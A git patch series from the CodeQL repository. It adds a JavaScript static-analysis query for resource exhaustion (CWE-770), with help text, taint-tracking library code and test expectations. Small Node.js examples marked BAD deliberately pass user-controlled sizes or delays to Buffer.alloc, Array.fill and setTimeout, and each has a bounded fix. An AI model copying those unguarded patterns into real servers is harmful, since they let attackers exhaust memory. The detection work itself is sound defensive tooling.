ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | | test.py:531:10:531:10 | ControlFlowNode for a | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | +| test.py:533:10:533:10 | ControlFlowNode for c | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | +| test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | +| test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index ed0e87c810c..3ec8a0af3ce 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -530,7 +530,7 @@ def test_nested_unpacking_assignment(): a, (b, c) = t SINK(a) SINK_F(b) - SINK(c) # Flow not found + SINK(c) @expects(2) From 5965035c09339efee3d627b37154a7236452803c Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Fri, 12 Jun 2020 10:52:20 +0200 Subject: [PATCH 0524/1241] JS: add query js/resource-exhaustion --- javascript/config/suites/javascript/security | 1 + .../Security/CWE-770/ResourceExhaustion.qhelp | 113 +++++++++ .../Security/CWE-770/ResourceExhaustion.ql | 20 ++ .../examples/ResourceExhaustion_array.js | 10 + .../ResourceExhaustion_array_fixed.js | 16 ++ .../examples/ResourceExhaustion_buffer.js | 10 + .../ResourceExhaustion_buffer_fixed.js | 16 ++ .../examples/ResourceExhaustion_timeout.js | 9 + .../ResourceExhaustion_timeout_fixed.js | 15 ++ .../security/dataflow/ResourceExhaustion.qll | 77 ++++++ .../ResourceExhaustionCustomizations.qll | 184 ++++++++++++++ .../CWE-770/ResourceExhaustion.expected | 234 ++++++++++++++++++ .../Security/CWE-770/ResourceExhaustion.qlref | 1 + .../ResourceExhaustion_array.js | 10 + .../ResourceExhaustion_array_fixed.js | 16 ++ .../ResourceExhaustion_buffer.js | 10 + .../ResourceExhaustion_buffer_fixed.js | 16 ++ .../ResourceExhaustion_timeout.js | 9 + .../ResourceExhaustion_timeout_fixed.js | 15 ++ .../Security/CWE-770/resource-exhaustion.js | 85 +++++++ 20 files changed, 867 insertions(+) create mode 100644 javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp create mode 100644 javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql create mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array.js create mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array_fixed.js create mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer.js create mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer_fixed.js create mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout.js create mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout_fixed.js create mode 100644 javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll create mode 100644 javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll create mode 100644 javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected create mode 100644 javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.qlref create mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array_fixed.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer_fixed.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout_fixed.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js diff --git a/javascript/config/suites/javascript/security b/javascript/config/suites/javascript/security index 3e87d292d7b..9c9f2e007f8 100644 --- a/javascript/config/suites/javascript/security +++ b/javascript/config/suites/javascript/security @@ -51,6 +51,7 @@ + semmlecode-javascript-queries/Security/CWE-730/RegExpInjection.ql: /Security/CWE/CWE-730 + semmlecode-javascript-queries/Security/CWE-754/UnvalidatedDynamicMethodCall.ql: /Security/CWE/CWE-754 + semmlecode-javascript-queries/Security/CWE-770/MissingRateLimiting.ql: /Security/CWE/CWE-770 ++ semmlecode-javascript-queries/Security/CWE-770/ResourceExhaustion.ql: /Security/CWE/CWE-770 + semmlecode-javascript-queries/Security/CWE-776/XmlBomb.ql: /Security/CWE/CWE-776 + semmlecode-javascript-queries/Security/CWE-798/HardcodedCredentials.ql: /Security/CWE/CWE-798 + semmlecode-javascript-queries/Security/CWE-807/ConditionalBypass.ql: /Security/CWE/CWE-807 diff --git a/javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp b/javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp new file mode 100644 index 00000000000..7ffd054945e --- /dev/null +++ b/javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp @@ -0,0 +1,113 @@ +<!DOCTYPE qhelp PUBLIC +"-//Semmle//qhelp//EN" +"qhelp.dtd"> +<qhelp> + + <overview> + + <p> + + Applications are constrained by how many resources they can make use + of. Failing to respect these constraints may cause the application to + be unresponsive or crash. It is therefore problematic if attackers + can control the sizes or lifetimes of allocated objects. + + </p> + + </overview> + + <recommendation> + + <p> + + Ensure that attackers can not control object sizes and their + lifetimes. If object sizes and lifetimes must be controlled by + external parties, ensure you restrict the object sizes and lifetimes so that + they are within acceptable ranges. + + </p> + + </recommendation> + + <example> + + <p> + + The following example allocates a buffer with a user-controlled + size. + + </p> + + <sample src="examples/ResourceExhaustion_buffer.js" /> + + <p> + + This is problematic since an attacker can choose a size + that makes the application run out of memory. Even worse, in older + versions of Node.js, this could leak confidential memory. + + To prevent such attacks, limit the buffer size: + + </p> + + <sample src="examples/ResourceExhaustion_buffer_fixed.js" /> + + </example> + + <example> + + <p> + + As another example, consider an application that allocates an + array with a user-controlled size, and then fills it with values: + + </p> + + <sample src="examples/ResourceExhaustion_array.js" /> + + <p> + The allocation of the array itself is not problematic since arrays are + allocated sparsely, but the subsequent filling of the array will take + a long time, causing the application to be unresponsive, or even run + out of memory. + + Again, a limit on the size will prevent the attack: + + </p> + + <sample src="examples/ResourceExhaustion_array_fixed.js" /> + + </example> + + <example> + + <p> + + Finally, the following example lets a user choose a delay after + which a function is executed: + + </p> + + <sample src="examples/ResourceExhaustion_timeout.js" /> + + <p> + + This is problematic because a large delay essentially makes the + application wait indefinitely before executing the function. Repeated + registrations of such delays will therefore use up all of the memory + in the application. + + Again, a limit on the delay will prevent the attack: + + </p> + + <sample src="examples/ResourceExhaustion_timeout_fixed.js" /> + + + </example> + + <references> + + </references> + +</qhelp> diff --git a/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql b/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql new file mode 100644 index 00000000000..adb8663085e --- /dev/null +++ b/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql @@ -0,0 +1,20 @@ +/** + * @name Resource exhaustion + * @description Allocating objects or timers with user-controlled + * sizes or durations can cause resource exhaustion. + * @kind path-problem + * @problem.severity warning + * @id js/resource-exhaustion + * @precision high + * @tags security + * external/cwe/cwe-770 + */ + +import javascript +import DataFlow::PathGraph +import semmle.javascript.security.dataflow.ResourceExhaustion::ResourceExhaustion + +from Configuration dataflow, DataFlow::PathNode source, DataFlow::PathNode sink +where dataflow.hasFlowPath(source, sink) +select sink, source, sink, sink.getNode().(Sink).getProblemDescription() + " from $@.", source, + "here" diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array.js new file mode 100644 index 00000000000..e7c6be16953 --- /dev/null +++ b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array.js @@ -0,0 +1,10 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var size = parseInt(url.parse(req.url, true).query.size); + + let dogs = new Array(size).fill(x => "dog"); // BAD + + // ... use the dogs +}); diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array_fixed.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array_fixed.js new file mode 100644 index 00000000000..f7c88129264 --- /dev/null +++ b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array_fixed.js @@ -0,0 +1,16 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var size = parseInt(url.parse(req.url, true).query.size); + + if (size > 1024) { + res.statusCode = 400; + res.end("Bad request."); + return; + } + + let dogs = new Array(size).fill(x => "dog"); // GOOD + + // ... use the dogs +}); diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer.js new file mode 100644 index 00000000000..d821901e818 --- /dev/null +++ b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer.js @@ -0,0 +1,10 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var size = parseInt(url.parse(req.url, true).query.size); + + let buffer = Buffer.alloc(size); // BAD + + // ... use the buffer +}); diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer_fixed.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer_fixed.js new file mode 100644 index 00000000000..8d9f9b0839f --- /dev/null +++ b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer_fixed.js @@ -0,0 +1,16 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var size = parseInt(url.parse(req.url, true).query.size); + + if (size > 1024) { + res.statusCode = 400; + res.end("Bad request."); + return; + } + + let buffer = Buffer.alloc(size); // GOOD + + // ... use the buffer +}); diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout.js new file mode 100644 index 00000000000..1718509534b --- /dev/null +++ b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout.js @@ -0,0 +1,9 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var delay = parseInt(url.parse(req.url, true).query.delay); + + setTimeout(f, delay); // BAD + +}); diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout_fixed.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout_fixed.js new file mode 100644 index 00000000000..2f5a614e3d7 --- /dev/null +++ b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_timeout_fixed.js @@ -0,0 +1,15 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var delay = parseInt(url.parse(req.url, true).query.delay); + + if (delay > 1000) { + res.statusCode = 400; + res.end("Bad request."); + return; + } + + setTimeout(f, delay); // GOOD + +}); diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll b/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll new file mode 100644 index 00000000000..dc46eb7daf0 --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll @@ -0,0 +1,77 @@ +/** + * Provides a taint tracking configuration for reasoning about + * resource exhaustion vulnerabilities (CWE-770). + * + * Note, for performance reasons: only import this file if + * `ResourceExhaustion::Configuration` is needed, otherwise + * `ResourceExhaustionCustomizations` should be imported instead. + */ + +import javascript +import semmle.javascript.security.dataflow.LoopBoundInjectionCustomizations + +module ResourceExhaustion { + import ResourceExhaustionCustomizations::ResourceExhaustion + + /** + * A data flow configuration for resource exhaustion vulnerabilities. + */ + class Configuration extends TaintTracking::Configuration { + Configuration() { this = "ResourceExhaustion" } + + override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel label) { + source.(Source).getAFlowLabel() = label + } + + override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel label) { + sink.(Sink).getAFlowLabel() = label + } + + override predicate isAdditionalFlowStep( + DataFlow::Node src, DataFlow::Node dst, DataFlow::FlowLabel srclabel, + DataFlow::FlowLabel dstlabel + ) { + dstlabel instanceof Label::Number and + isNumericFlowStep(src, dst) + or + // reuse most existing taint steps + super.isAdditionalFlowStep(src, dst) and + not dst.asExpr() instanceof AddExpr and + if dst.(DataFlow::MethodCallNode).calls(src, "toString") + then dstlabel.isTaint() + else srclabel = dstlabel + } + + override predicate isSanitizerGuard(TaintTracking::SanitizerGuardNode guard) { + guard instanceof LoopBoundInjection::LengthCheckSanitizerGuard or + guard instanceof UpperBoundsCheckSanitizerGuard or + guard instanceof TypeTestGuard + } + } + + /** + * Holds if data may flow from `src` to `dst` as a number. + */ + predicate isNumericFlowStep(DataFlow::Node src, DataFlow::Node dst) { + // steps that introduce or preserve a number + dst.(DataFlow::PropRead).accesses(src, ["length", "size"]) + or + exists(DataFlow::CallNode c | + c = dst and + src = c.getAnArgument() + | + c = DataFlow::globalVarRef("Math").getAMemberCall(_) or + c = DataFlow::globalVarRef(["Number", "parseInt", "parseFloat"]).getACall() + ) + or + exists(Expr dstExpr, Expr srcExpr | + dstExpr = dst.asExpr() and + srcExpr = src.asExpr() + | + dstExpr.(BinaryExpr).getAnOperand() = srcExpr and + not dstExpr instanceof AddExpr + or + dstExpr.(PlusExpr).getOperand() = srcExpr + ) + } +} diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll new file mode 100644 index 00000000000..b428f2c4e8b --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll @@ -0,0 +1,184 @@ +/** + * Provides default sources, sinks and sanitizers for reasoning about + * resource exhaustion vulnerabilities, as well as extension points for + * adding your own. + */ + +import javascript + +module ResourceExhaustion { + /** + * A data flow source for resource exhaustion vulnerabilities. + */ + abstract class Source extends DataFlow::Node { + /** Gets a flow label denoting the type of value for which this is a source. */ + DataFlow::FlowLabel getAFlowLabel() { result.isTaint() } + } + + /** + * A data flow sink for resource exhaustion vulnerabilities. + */ + abstract class Sink extends DataFlow::Node { + /** Gets a flow label denoting the type of value for which this is a sink. */ + DataFlow::FlowLabel getAFlowLabel() { result instanceof Label::Number } + + /** + * Gets a description of why this is a problematic sink. + */ + abstract string getProblemDescription(); + } + + /** + * A data flow sanitizer for resource exhaustion vulnerabilities. + */ + abstract class Sanitizer extends DataFlow::Node { } + + /** + * Provides data flow labels for resource exhaustion vulnerabilities. + */ + module Label { + /** + * A number data flow label. + */ + class Number extends DataFlow::FlowLabel { + Number() { this = "number" } + } + } + + /** + * A sanitizer that blocks taint flow if the size of a number is limited. + */ + class UpperBoundsCheckSanitizerGuard extends TaintTracking::LabeledSanitizerGuardNode, + DataFlow::ValueNode { + override RelationalComparison astNode; + + override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { + label instanceof Label::Number and + ( + true = outcome and + e = astNode.getLesserOperand() + or + false = outcome and + e = astNode.getGreaterOperand() + ) + } + } + + /** + * A test of form `typeof x === "something"`, preventing `x` from being a number in some cases. + */ + class TypeTestGuard extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::ValueNode { + override EqualityTest astNode; + Expr x; + boolean polarity; + + TypeTestGuard() { + // typeof x === "number" sanitizes `x` when it evaluates to false + TaintTracking::isTypeofGuard(astNode, x, "number") and + polarity = astNode.getPolarity().booleanNot() + or + // typeof x === "string" sanitizes `x` when it evaluates to true + TaintTracking::isTypeofGuard(astNode, x, any(string s | s != "number")) and + polarity = astNode.getPolarity() + } + + override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { + polarity = outcome and + e = x and + label instanceof Label::Number + } + } + + /** A source of remote user input, considered as a data flow source for resource exhaustion vulnerabilities. */ + class RemoteFlowSourceAsSource extends Source { + RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource } + } + + /** + * A node that determines the size of a buffer, considered as a data flow sink for resource exhaustion vulnerabilities. + */ + class BufferSizeSink extends Sink { + BufferSizeSink() { + exists(DataFlow::SourceNode clazz, DataFlow::InvokeNode invk, int index | + clazz = DataFlow::globalVarRef("Buffer") and this = invk.getArgument(index) + | + exists(string name | + invk = clazz.getAMemberCall(name) and + ( + name = "from" and index = 2 + or + name = ["alloc", "allocUnsafe", "allocUnsafeSlow"] and index = 0 + ) + ) + or + invk = clazz.getAnInvocation() and + ( + invk.getNumArgument() = 1 and + index = 0 + or + invk.getNumArgument() = 3 and index = 2 + ) + ) + or + this = DataFlow::globalVarRef("SlowBuffer").getAnInstantiation().getArgument(0) + } + + override string getProblemDescription() { + result = "This creates a buffer with a user-controlled size" + } + } + + /** + * A node that determines the size of an array, considered as a data flow sink for resource exhaustion vulnerabilities. + */ + class DenseArraySizeSink extends Sink { + DenseArraySizeSink() { + // Arrays are sparse by default, so we must also look at how the array is used + exists(DataFlow::ArrayConstructorInvokeNode instance | + this = instance.getArgument(0) and + instance.getNumArgument() = 1 + | + exists(instance.getAMethodCall(["map", "fill", "join", "toString"])) or + instance.flowsToExpr(any(AddExpr p).getAnOperand()) + ) + } + + override string getProblemDescription() { + result = "This creates an array with a user-controlled length" + } + } + + /** + * A node that determines the repetitions of a string, considered as a data flow sink for resource exhaustion vulnerabilities. + */ + class StringRepetitionSink extends Sink { + StringRepetitionSink() { + exists(DataFlow::MethodCallNode repeat | + repeat.getMethodName() = "repeat" and + this = repeat.getArgument(0) + ) + } + + override DataFlow::FlowLabel getAFlowLabel() { any() } + + override string getProblemDescription() { + result = "This creates a string with a user-controlled length" + } + } + + /** + * A node that determines the duration of a timer, considered as a data flow sink for resource exhaustion vulnerabilities. + */ + class TimerDurationSink extends Sink { + TimerDurationSink() { + this = DataFlow::globalVarRef(["setTimeout", "setInterval"]).getACall().getArgument(1) or + this = LodashUnderscore::member(["delay", "throttle", "debounce"]).getACall().getArgument(1) + } + + override DataFlow::FlowLabel getAFlowLabel() { any() } + + override string getProblemDescription() { + result = "This creates a timer with a user-controlled duration" + } + } +} diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected new file mode 100644 index 00000000000..0260567be53 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.expected @@ -0,0 +1,234 @@ +nodes +| documentation_examples/ResourceExhaustion_array.js:5:6:5:57 | size | +| documentation_examples/ResourceExhaustion_array.js:5:13:5:57 | parseIn ... y.size) | +| documentation_examples/ResourceExhaustion_array.js:5:22:5:45 | url.par ... , true) | +| documentation_examples/ResourceExhaustion_array.js:5:22:5:51 | url.par ... ).query | +| documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | +| documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | +| documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | +| documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | +| documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | +| documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | +| documentation_examples/ResourceExhaustion_buffer.js:5:6:5:57 | size | +| documentation_examples/ResourceExhaustion_buffer.js:5:13:5:57 | parseIn ... y.size) | +| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:45 | url.par ... , true) | +| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:51 | url.par ... ).query | +| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | +| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | +| documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | +| documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | +| documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | +| documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | +| documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | +| documentation_examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | +| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | +| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:52 | url.par ... ).query | +| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | +| documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | +| documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | +| documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | +| documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | +| resource-exhaustion.js:5:7:5:42 | s | +| resource-exhaustion.js:5:11:5:34 | url.par ... , true) | +| resource-exhaustion.js:5:11:5:40 | url.par ... ).query | +| resource-exhaustion.js:5:11:5:42 | url.par ... query.s | +| resource-exhaustion.js:5:21:5:27 | req.url | +| resource-exhaustion.js:5:21:5:27 | req.url | +| resource-exhaustion.js:6:7:6:21 | n | +| resource-exhaustion.js:6:11:6:21 | parseInt(s) | +| resource-exhaustion.js:6:20:6:20 | s | +| resource-exhaustion.js:12:21:12:21 | n | +| resource-exhaustion.js:12:21:12:21 | n | +| resource-exhaustion.js:13:21:13:21 | n | +| resource-exhaustion.js:13:21:13:21 | n | +| resource-exhaustion.js:14:16:14:16 | n | +| resource-exhaustion.js:14:16:14:16 | n | +| resource-exhaustion.js:15:22:15:22 | n | +| resource-exhaustion.js:15:22:15:22 | n | +| resource-exhaustion.js:16:26:16:26 | n | +| resource-exhaustion.js:16:26:16:26 | n | +| resource-exhaustion.js:18:14:18:14 | n | +| resource-exhaustion.js:18:14:18:14 | n | +| resource-exhaustion.js:20:20:20:20 | n | +| resource-exhaustion.js:20:20:20:20 | n | +| resource-exhaustion.js:22:18:22:18 | n | +| resource-exhaustion.js:22:18:22:18 | n | +| resource-exhaustion.js:27:9:27:9 | n | +| resource-exhaustion.js:27:9:27:9 | n | +| resource-exhaustion.js:28:13:28:13 | n | +| resource-exhaustion.js:28:13:28:13 | n | +| resource-exhaustion.js:29:9:29:9 | n | +| resource-exhaustion.js:29:9:29:9 | n | +| resource-exhaustion.js:30:9:30:9 | n | +| resource-exhaustion.js:30:9:30:9 | n | +| resource-exhaustion.js:31:9:31:9 | n | +| resource-exhaustion.js:31:9:31:9 | n | +| resource-exhaustion.js:32:9:32:9 | n | +| resource-exhaustion.js:32:9:32:9 | n | +| resource-exhaustion.js:34:12:34:12 | n | +| resource-exhaustion.js:34:12:34:12 | n | +| resource-exhaustion.js:35:12:35:12 | s | +| resource-exhaustion.js:35:12:35:12 | s | +| resource-exhaustion.js:37:14:37:14 | n | +| resource-exhaustion.js:37:14:37:18 | n * x | +| resource-exhaustion.js:37:14:37:18 | n * x | +| resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | +| resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | +| resource-exhaustion.js:45:24:45:24 | s | +| resource-exhaustion.js:46:14:46:22 | Number(s) | +| resource-exhaustion.js:46:14:46:22 | Number(s) | +| resource-exhaustion.js:46:21:46:21 | s | +| resource-exhaustion.js:50:14:50:14 | s | +| resource-exhaustion.js:50:14:50:21 | s.length | +| resource-exhaustion.js:50:14:50:21 | s.length | +| resource-exhaustion.js:55:16:55:16 | n | +| resource-exhaustion.js:55:16:55:16 | n | +| resource-exhaustion.js:58:7:58:20 | ns | +| resource-exhaustion.js:58:12:58:20 | x ? n : s | +| resource-exhaustion.js:58:16:58:16 | n | +| resource-exhaustion.js:59:14:59:15 | ns | +| resource-exhaustion.js:59:14:59:15 | ns | +| resource-exhaustion.js:66:16:66:16 | n | +| resource-exhaustion.js:66:16:66:16 | n | +| resource-exhaustion.js:70:16:70:16 | n | +| resource-exhaustion.js:70:16:70:16 | n | +| resource-exhaustion.js:81:17:81:17 | n | +| resource-exhaustion.js:81:17:81:17 | n | +| resource-exhaustion.js:82:17:82:17 | s | +| resource-exhaustion.js:82:17:82:17 | s | +| resource-exhaustion.js:83:18:83:18 | n | +| resource-exhaustion.js:83:18:83:18 | n | +| resource-exhaustion.js:84:18:84:18 | s | +| resource-exhaustion.js:84:18:84:18 | s | +edges +| documentation_examples/ResourceExhaustion_array.js:5:6:5:57 | size | documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | +| documentation_examples/ResourceExhaustion_array.js:5:6:5:57 | size | documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | +| documentation_examples/ResourceExhaustion_array.js:5:13:5:57 | parseIn ... y.size) | documentation_examples/ResourceExhaustion_array.js:5:6:5:57 | size | +| documentation_examples/ResourceExhaustion_array.js:5:22:5:45 | url.par ... , true) | documentation_examples/ResourceExhaustion_array.js:5:22:5:51 | url.par ... ).query | +| documentation_examples/ResourceExhaustion_array.js:5:22:5:51 | url.par ... ).query | documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | +| documentation_examples/ResourceExhaustion_array.js:5:22:5:51 | url.par ... ).query | documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | +| documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | documentation_examples/ResourceExhaustion_array.js:5:13:5:57 | parseIn ... y.size) | +| documentation_examples/ResourceExhaustion_array.js:5:22:5:56 | url.par ... ry.size | documentation_examples/ResourceExhaustion_array.js:5:13:5:57 | parseIn ... y.size) | +| documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_array.js:5:22:5:45 | url.par ... , true) | +| documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_array.js:5:22:5:45 | url.par ... , true) | +| documentation_examples/ResourceExhaustion_buffer.js:5:6:5:57 | size | documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | +| documentation_examples/ResourceExhaustion_buffer.js:5:6:5:57 | size | documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | +| documentation_examples/ResourceExhaustion_buffer.js:5:13:5:57 | parseIn ... y.size) | documentation_examples/ResourceExhaustion_buffer.js:5:6:5:57 | size | +| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:45 | url.par ... , true) | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:51 | url.par ... ).query | +| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:51 | url.par ... ).query | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | +| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:51 | url.par ... ).query | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | +| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | documentation_examples/ResourceExhaustion_buffer.js:5:13:5:57 | parseIn ... y.size) | +| documentation_examples/ResourceExhaustion_buffer.js:5:22:5:56 | url.par ... ry.size | documentation_examples/ResourceExhaustion_buffer.js:5:13:5:57 | parseIn ... y.size) | +| documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:45 | url.par ... , true) | +| documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_buffer.js:5:22:5:45 | url.par ... , true) | +| documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | +| documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | +| documentation_examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | documentation_examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | +| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:52 | url.par ... ).query | +| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:52 | url.par ... ).query | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | +| documentation_examples/ResourceExhaustion_timeout.js:5:23:5:58 | url.par ... y.delay | documentation_examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | +| documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | +| documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentation_examples/ResourceExhaustion_timeout.js:5:23:5:46 | url.par ... , true) | +| 